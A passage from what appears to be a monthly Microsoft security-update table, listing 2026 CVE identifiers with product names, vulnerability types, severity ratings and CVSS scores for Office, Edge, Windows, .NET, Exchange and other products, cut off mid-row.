CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  